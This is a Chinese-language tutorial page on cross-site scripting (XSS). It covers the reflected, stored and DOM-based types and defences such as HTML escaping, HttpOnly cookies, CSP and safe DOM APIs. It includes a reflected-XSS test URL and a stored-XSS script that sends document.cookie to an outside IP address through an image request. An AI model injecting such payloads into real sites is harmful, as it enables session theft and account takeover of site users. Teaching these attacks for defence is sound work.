# 跨站脚本攻击 (XSS)
# 1. 介绍
"XSS是跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。"
XSS攻击的核心方式是脚本。这些脚本通常是JavaScript脚本,从这个层面来说JavaScript能做的事情,XSS攻击一般都能做到。比如:
- 通过
document.cookie盗取 cookie 中的信息 - 使用 js 或 css 破坏页面正常的结构与样式
- 流量劫持(通过访问某段具有
window.location.href定位到其他页面) - DoS 攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie 信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。
- 利用 iframe、frame、XMLHttpRequest 或上述 Flash 等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可以利用 iframe,frame 进一步的进行 CSRF 攻击。
- 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
# 2. 分类
# 2.1 反射型xss
反射型xss又被称为非持久型xss。当用户访问一个带有xss攻击代码的url请求的时候,向服务器发送请求,服务器接受请求后处理,并把客户端发送的xss攻击代码返回给客户端,客户端解析这段代码的时候,就有可能遭受xss攻击
用户浏览某个网站A,攻击者在这个网站中嵌入了恶意的脚本用于盗取用户的cookie等信息 攻击者诱导用户触发xss攻击(比如诱导用户点击非法链接),当用户触发了xss攻击的时候就会将自己的用户信息发送给攻击者 攻击者在获取用户的cookie后,就有可能盗用用户的身份信息进行非法操作
http://xxx/search?keyword="><script>alert('XSS');</script>
# 反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等
数据流向: 浏览器 -> 后端 -> 浏览器
# 2.2 存储型xss
存储型xss又被称为持久化的xss。也是最危险的xss攻击方式。一旦攻击成功,就有可能造成大规模的xss攻击,也就是我们通常所说的xss蠕虫。
存储型xss攻击的一般原理是,客户端将带有xss攻击的数据发送给服务器,服务器接收并存储在数据库。当用户下次再访问这个页面的时候,服务器会读取数据库并将之前的xss代码取出发送给浏览器。浏览器解析这段数据的时候,就会遭受xss攻击。
所以,反射型xss攻击一般需要用户手动触发,而存储型xss攻击却是能够自动触发的。一般来说,反射型xss攻击的危害要比存储型xss攻击的危害要小的多。
<!-- 比如通过评论输入框将下面代码提交,之后会执行下面代码 -->
<script type="text/javascript">
document.write("<img src='http://192.168.59.129:10086?c=" + escape(document.cookie) + "'>")
</script>
2
3
4
# 存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里
数据流向: 浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器
# 2.3 DOM型xss
我们可以通过JavaScript来操作dom树,所以,xss攻击也是能够做到这一点的。dom型xss攻击最大的危害就是改变我们网页的布局。这种类型的xss是不需要和服务器进行交互的,只发生在客户端处理阶段。比如一段xss攻击的代码是:
const div = document.createElement('div');
div.innerText = 'xss攻击的代码';
document.body.appendChild(div);
2
3
# 反射型xss和dom-xss都需要在url加入js代码才能够触发
数据流向: URL -> 浏览器
# 2.4 对比总结
| 类型 | 反射型 | 存储型 | DOM型 |
|---|---|---|---|
| 触发过程 | 正常用户访问携带XSS脚本的URL | 1.黑客构造XSS脚本 2.正常用户访问携带XSS脚本的页面 | 正常用户访问携带XSS脚本的URL |
| 数据存储 | URL | 数据库 | URL |
| 谁来输出 | 后端WEB应用程序 | 后端WEB应用程序 | 前端JS |
| 输出位置 | HTTP响应中 | HTTP响应中 | 动态构建DOM节点 |
# 3. 防范措施
应对XSS攻击的主要手段还是编码与过滤两种,编码用于将特殊的符号 "<、>、&、'、""进行html转义,而过滤则是阻止特定的标记、属性、事件
# 3.1 转义HTML
对用户输入的数据进行HTML转义是防范XSS攻击的基础措施:
- 使用
encodeURIComponent对URL中的参数进行编码(反射型XSS) - 服务器接收到数据,在存储到数据库之前,进行转义/过滤
- 前端接收到服务器传递过来的数据,在展示到页面前,先进行转义/过滤
# 3.2 HTTP-only Cookie
设置Cookie的HttpOnly属性可以禁止JavaScript读取某些敏感Cookie,即使攻击者完成XSS注入也无法窃取此Cookie:
- 防止脚本冒充用户提交危险操作
- 如果某一个Cookie选项被设置成
HttpOnly=true的话,此Cookie只能通过服务器端修改,JavaScript无法读写这个Cookie
# 3.3 Content-Security-Policy
在服务端使用HTTP的Content-Security-Policy头部来指定策略,或者在前端设置meta标签。例如下面的配置只允许加载同域下的资源:
Content-Security-Policy: default-src 'self';
# 3.4 使用安全的API
避免使用不安全的DOM操作API:
- 在使用
.innerHTML、.outerHTML、document.write()时要特别小心,不要把不可信的数据作为HTML插到页面上 - 应尽量使用
.textContent、.setAttribute()等更安全的API - 如果使用Vue/React技术栈,并且不使用
v-html/dangerouslySetInnerHTML功能,就在前端render阶段避免innerHTML、outerHTML的XSS隐患
# 3.5 验证码
使用验证码可以防止脚本冒充用户提交危险操作,增加攻击成本。
# 4. 参考资料
← Js中的promise CSRF →